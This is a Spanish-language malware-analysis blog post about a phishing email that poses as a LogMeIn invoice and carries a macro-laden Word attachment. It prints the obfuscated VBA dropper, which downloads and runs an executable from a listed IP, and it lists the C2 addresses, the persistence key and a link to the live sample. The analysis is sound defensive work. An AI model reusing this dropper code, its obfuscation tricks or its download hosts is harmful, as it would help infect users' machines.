Casi diariamente nos topamos con notificaciones de phishing que llegan a la oficina, algunas llegan con un adjunto, generalmente en formato pdf o en algún formato de la suite Office (doc,xls,ppt ) y sus derivados. Este caso despertó mi interés y decidí investigar un poco más allá de la simple detección y bloqueo de URLs o adjuntos.
Esta vez el correo electrónico llegaba escrito en inglés, y diciendo algo sobre un recibo no devuelto, que amablemente nos remitían para que lo pudiéramos abonar.
El email en cuestión era éste:
origen: billing@logmein.com asunto: Automatic payment failed - Credit Card rejected adjunto: invoice_723961.doc Dear customer, Your subscription for LogMeIn Central Plus service will end within 72 hours. You are receiving this notification because the automatic payment has failed.(Credit card: declined) For more information, please find the payment invoice attached to this letter. Payment must be submitted before 21/02/2015, in order to avoid delays and service interruptions. Thank you for using LogMeIn Copyright © 2003-2015 LogMeIn, Inc. All rights reserved.
El mensaje incluía como adjunto un documento en formato Microsoft Word con el siguiente nombre invoice_7245.doc.
Como ya hemos comentado en algún post anterior, el procedimiento que seguiremos, una vez guardado en nuestro equipo y resistiendo las ganas de hacer doble click sobre el documento, será echarle un primer vistazo usando strings:
tp://XXXXXXX.XX/5050397 .... winmgmts:{impersonationLevel=impersonate}! .... Project.ThisDocument.Auto_Open Project.ThisDocument.AutoOpen .... If objXMLHTTP.Status = 200 .... User-Agent ] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' .... Package={AC9F2F90-E877-11CE-9F68-00AA00574A4F} .... 0000001={3832D640-CF90-11CF-8E43-00A0C911005A}; .... *\G{12804837-466F-42D3-BB08-C38C274ABA5A}#2.0#0#C:\Users\MMM\AppData\Local\Temp\VBE\MSForms.ex d#Microsoft Forms 2.0 Object Library ....
¡Oh sorpresa!, encontramos cadenas de texto que no hacen presagiar nada bueno. Entre las cadenas que podemos identificar, encontramos un UserAgent utilizado por los navegadores web para identificarse al descargar una página web, referencias a objetos Visual Basic Script y a servicios del WMI (Windows Management Infrastructure) de Windows. Para ser una simple factura lleva muchos “complementos”.
-= Extraer el código VBA =-
Con el fin de obtener un poco más de información acerca del documento usaremos la herramienta oledump.py, desarrollada en python por Didier Stevens, que nos ayudará a extraer más información del documento:
1: 114 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 16922 '1Table' 5: 524 'Macros/PROJECT' 6: 65 'Macros/PROJECTwm' 7: M 1203 'Macros/VBA/Module1' 8: M 28997 'Macros/VBA/ThisDocument' 9: 4646 'Macros/VBA/_VBA_PROJECT' 10: 803 'Macros/VBA/dir' 11: 5172 'WordDocument'
Del resultado se desprende que los objetos 7 y 8 contienen Macros VBA (Visual Basic for Applications). Eso nos interesa, por lo que para estudiarlos más detenidamente los extraeremos del documento usando esta misma herramienta.
A continuación, se muestra el contenido del Module1 que es bastante legible. Contiene un par de funciones sin mayor complicación:
Attribute VB_Name = "Module1" Public Function Travel(a As String) Travel = Environ(a) End Function Public Function France(a As Variant, b) a = Shell(b, 0) France = a End Function
Pero como veremos, la macro ThisDocument, no lo es tanto:
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Auto_Open() h End Sub Sub h() UEGHYFWEFYSDGFYQGHJBAHDBSMANDV = "j23gh hj43ghj4g2 hj3g432hyg hg4 2jh3g4h23 g4jhgh4j 2hjg 4hg23jh4g h23g4j h2g4h 2j3g2jhg4h2jghjagd sjahg" USER = Module1.Travel("userna" + Chr(109) + Chr(Asc("e"))) ds = Sgn(44) + 97 + Sgn(5) + Sgn(98) + Sgn(902) + Sgn(-5) jks = ds PST2 = "" + "" & "" & "a" + "do" & "be" & "ac" & "d-u" & "pd" & _ "a" & "te" + "" VBT2 = "" & "a" + Chr(100) + "o" & "b" & "ea" & "cd-up" & "da" & "te" & "" VBTXP2 = "" & "a" & Chr(100) & "o" & "be" + "ac" & "d-u" + "pd" + "atex" + "p" & "" BART2 = "" & "a" + Chr(100) & "o" & "b" & "e" + "ac" & "d-up" + "date" & "" PST1 = "" + PST2 + "." + Chr(Asc("p")) + Chr(ds + 15) + "1" + "" VBT1 = "" + VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + "" VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + "" KSHUQ = "ht" + "tp://savepic.su/5050397" + "." + "jpg" STT = "" + "44" + "4." + "pn" + "g" + "" BART = "" + BART2 + Chr(Abs(ds - 100 - 45 - Sgn(5))) + Chr(Abs(ds - 100 - 96 - 2)) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(Abs(ds - 100 - 15 - 1)))) + "" JSIQOJQ = Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98)) + Chr(Asc(Chr(Abs(ds / 2 + 47)))) + Chr(Asc(Chr(ds + Fix(16.2)))) + "" & "" KJHDU = BART2 + JSIQOJQ BART = KJHDU MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + "Data\Lo" + "cal\T" + "emp\" + PST1 + "" & "" STAT = "" + "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + "Data\Lo" + "cal\T" + "emp\" + STT + "" & "" ASDASDSA = "" + "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART + "" & "" MY_FILDIR = "c:\Users\" + USER + "\App" + "Data\Lo" + "cal\T" + "emp\" + VBT1 + "" XPFILEDIR = "" HJUTTT = VBTXP XPFILEDIR = "" + "c" & ":\W" & "indows\T" & "emp\" + HJUTTT UHFD = "" & "c" & ":\W" & "indows\T" & "emp\" TRT = UHFD + BART KRT = TRT HYF = KRT KJSAHDFFFJ = MY_FILDIR If (Len(Dir(MY_FILENDIR)) <> 0) Then SetAttr MY_FILENDIR, vbNormal Kill MY_FILENDIR End If If (Dir(ASDASDSA) <> "") Then SetAttr ASDASDSA, vbNormal Kill ASDASDSA End If If (Dir(MY_FILDIR) <> "") Then SetAttr MY_FILDIR, vbNormal Kill KJSAHDFFFJ End If If (Dir(STAT) <> "") Then SetAttr STAT, vbNormal Kill STAT End If If (Dir(XPFILEDIR) <> "") Then SetAttr XPFILEDIR, vbNormal Kill XPFILEDIR End If Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer Dim retVal As Variant FileNumber = FreeFile FileNumb = FreeFile FileNu = FreeFile FileNukk = FreeFile FileNs = FreeFile Kasdwq = FreeFile FileNuG = FreeFile Dim objWMIService As Variant Dim colOperatingSystems As Variant Dim objOperatingSystem As Variant Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") SETL = "colOperatingSystemsKSAHDIUOQWdsad asad32k r8929h2f uigt8y yr2u3gby2g yu dg2uyg3bdu " Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem") For Each objOperatingSystem In colOperatingSystems SysReport = SysReport & "The operating system on this computer is " & _ objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")" Next Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem") For Each objOperatingSystem In colOperatingSystems winverstr = objOperatingSystem.Version Next winver = Val(winverstr) WaitFor (1) jskw = winver JSJIW = "" + Chr(Asc(".")) + "49/up" + "d2/in" + "sta" + "ll" + "" URLLSK = "91" + Chr(Asc(".")) + "220" + Chr(Asc(".")) + "131" + JSJIW If (jskw <= 5.5) Then NUWHDGJS = UHFD + "3gysajdg.tmp" Open NUWHDGJS For Output As #Kasdwq Close #Kasdwq NUWHDGJS = HYF Open NUWHDGJS For Output As #Kasdwq Print #Kasdwq, "" Print #Kasdwq, "@echo off" Print #Kasdwq, ":pinkator" Print #Kasdwq, "pin" + "g 1.3.1.2 -n" & " 2" + "" LKASHDUIQWHQUDKNBWQKJDHQ = "sakdj lksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg" Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34) + "" Print #Kasdwq, "pin" + "g 2.2.1.1 -n" & " 2" + "" Print #Kasdwq, "" & ":windows" AIYDHLKASHDUIQWHQUDKNBWQKJDHQ = "qwe23r32sakdj sdqwlksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg" WQJHLKASHDUIQWHQUDKNBWQKJDHQ = "sa3244tgfdkdj lksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg" Print #Kasdwq, "c:\W" +
El contenido de esta macro aparece ofuscado. Ésta es una forma habitual de complicar su detección y a la vez dificultar la identificación de su comportamiento.
En el caso anterior los métodos de ofuscación utilizados son relativamente sencillos, por lo que con un poco de paciencia podremos averiguar las instrucciones que ejecuta.
Entre los métodos usados están los siguientes:
- Declarar variables aparentemente sin finalidad práctica.
UEGHYFWEFYSDGFYQGHJBAHDBSMANDV = "j23gh hj43ghj4g2 hj3g432hyg hg4 2jh3g4h23 g4jhgh4j 2hjg 4hg23jh4g h23g4j h2g4h 2j3g2jhg4h2jghjagd sjahg”
- Definir variables de tipo string que serán concatenadas posteriormente para construir la cadena de texto objetivo.
KJHDU = BART2 + JSIQOJQ
- Usar operaciones matemáticas para obtener caracteres.
JSIQOJQ = Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98))
- Anidar llamadas a funciones.
NUS = Module1.France(retVal, SJAKLD)
- Distribuir las funciones en varios ficheros.
-= Mecanismo de infección =-
Una vez abrimos el documento Word, si no tenemos activada la ejecución de las Macros de Windows, se nos pide amablemente que la activemos, momento en que se ejecutarán los scripts identificados en el paso anterior. Veamos:
Module1.vbs
- Actúa como “librería” para el script principal.
ThisDocument.vbs
- Utiliza funciones de Module1
USER = Module1.Travel("username")
- Consulta la versión del SO Windows.
Dim objWMIService As Variant Dim colOperatingSystems As Variant Dim objOperatingSystem As Variant Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem In colOperatingSystems SysReport = SysReport & "The operating system on this computer is " & _ objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")"
- Genera distintos scripts dependiendo de la versión de Windows en la que se ejecuta:
(Windows Vista o inferior) If (jskw <= 5.5) Then
(Superior a Windows Vista) If (winver > 5.5) Then
- Descarga un archivo .exe y lo ejecuta usando los scripts asegurándose la persistencia en el sistema.
- Se autodestruye.
-= Caso Windows XP =-
Como ejemplo del comportamiento del archivo ejecutable en un sistema, hemos elegido el caso en el que el sistema operativo atacado es un Windows XP. En ese caso, se generarían los siguientes archivos en el sistema:
c:\Windows\Temp\adobeacd-update.bat
Como vemos,el script realiza varias pruebas de conectividad con la herramienta ping y ejecuta un segundo script .vbs. Posteriormente ejecuta un archivo .exe y después de todas estas acciones se encarga de eliminar los archivos creados.
c:\Windows\Temp\adobeacd-updatexp.vbs
Este segundo script es el que realiza las conexiones con el exterior y descarga el ejecutable que infectará el equipo, lo guarda en la carpeta temporal de Windows y posteriormente es ejecutado por adobeacd-update.bat.
-= Datos del ejecutable =-
Después del análisis inicial, una de las primeras cosas que podemos hacer es buscar el MD5 del archivo ejecutable (install.exe) en VirusTotal para comprobar si se trata de una amenaza conocida. En este caso sí lo es, como se extrae del resultado de la búsqueda:
Ahora que ya lo tenemos identificado, intentaremos determinar el comportamiento del ejecutable descargado ejecutándolo en una sandbox, de donde hemos podido extraer los siguientes datos de comportamiento:
- Al ejecutar el fichero .exe este se copia en otra carpeta como:
“C:\Documents and Settings\D\Application Data\Windows\winlogin.exe"
- Consigue la persistencia añadiendo una clave de registro en:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Realiza peticiones DNS sobre los siguientes dominios:
api.ipify.org
lmgxmluuqwrbdvkb.tor2web.blutmagie.de
lmgxmluuqwrbdvkb.tor2web.fi - Realiza conexiones HTTP:
GET http://api.ipify.org/
POST https://lmgxmluuqwrbdvkb.tor2web.blutmagie.de/gate.php
En este post se ha realizado un análisis inicial del comportamiento y mecanismo de infección de una amenaza que nos puede llegar a través del correo. Queda para próximos posts determinar las acciones post-infección que realiza el malware y la finalidad con la que fue escrito.
-= Referencias =-
Podéis encontrar información y análisis de especímenes con un comportamiento similar en los siguientes enlaces:
- http://www.kahusecurity.com/2015/malicious-word-macro-caught-using-sneaky-trick/
- http://www.malware-traffic-analysis.net/2015/02/02/index.html
- http://www.malware-traffic-analysis.net/2015/02/16/index.html
---------------------------
Actualización 10.04.15: A petición de los lectores, se incluye en el siguiente enlace: https://www.securityartwork.es/wp-content/uploads/2015/04/sample.zip una muestra del malware analizado en este post, que es público, real y probablemente muchos de nuestros lectores lo hayan recibido en sus servidores de correo. Se trata del fichero .doc que genera los scripts y el ejecutable .exe que éstos descargan.
Dejémoslo más claro: EL MALWARE ANALIZADO ES REAL Y ES UTILIZADO ACTIVAMENTE EN INTERNET, NO ES UN FICHERO INOFENSIVO CREADO AD-HOC COMO PRUEBA DE CONCEPTO, por lo que es responsabilidad del lector garantizar la seguridad de su propio equipo y su red si decide abrir cualquiera de los ficheros que contiene. No descargue el fichero comprimido si no sabe lo que está haciendo. Security Art Work publica la muestra con fines educativos, pero no se responsabiliza del mal uso accidental o intencionado que pueda hacerse del malware. Insistimos: si no sabe muy bien lo que está haciendo, NO DESCARGUE EL FICHERO. Los experimentos con gaseosa.
La clave de descompresión del fichero es "infected". Tengan cuidado.
---------------------------
Buen análisis Sergio, podrías compartir el sample?
salu2
Gracias por tu comentario Simplicius.
Estamos preparando el sample para compartirlo. Entre hoy y mañana estará disponible.
Un saludo.
Gracias! y buen trabajo!
Hola de nuevo,
El sample ya está disponible para su descarga a través de la url que hemos publicado al final del artículo.
Be careful & have fun!
Saludos.
umm, el sample.zip está correcto?
saludos
El fichero parece que está corrupto
Vuelve a probarlo por favor,
Un saludo.
Falso positivo…está correcto :) thanks
Buen análsis Sergio :)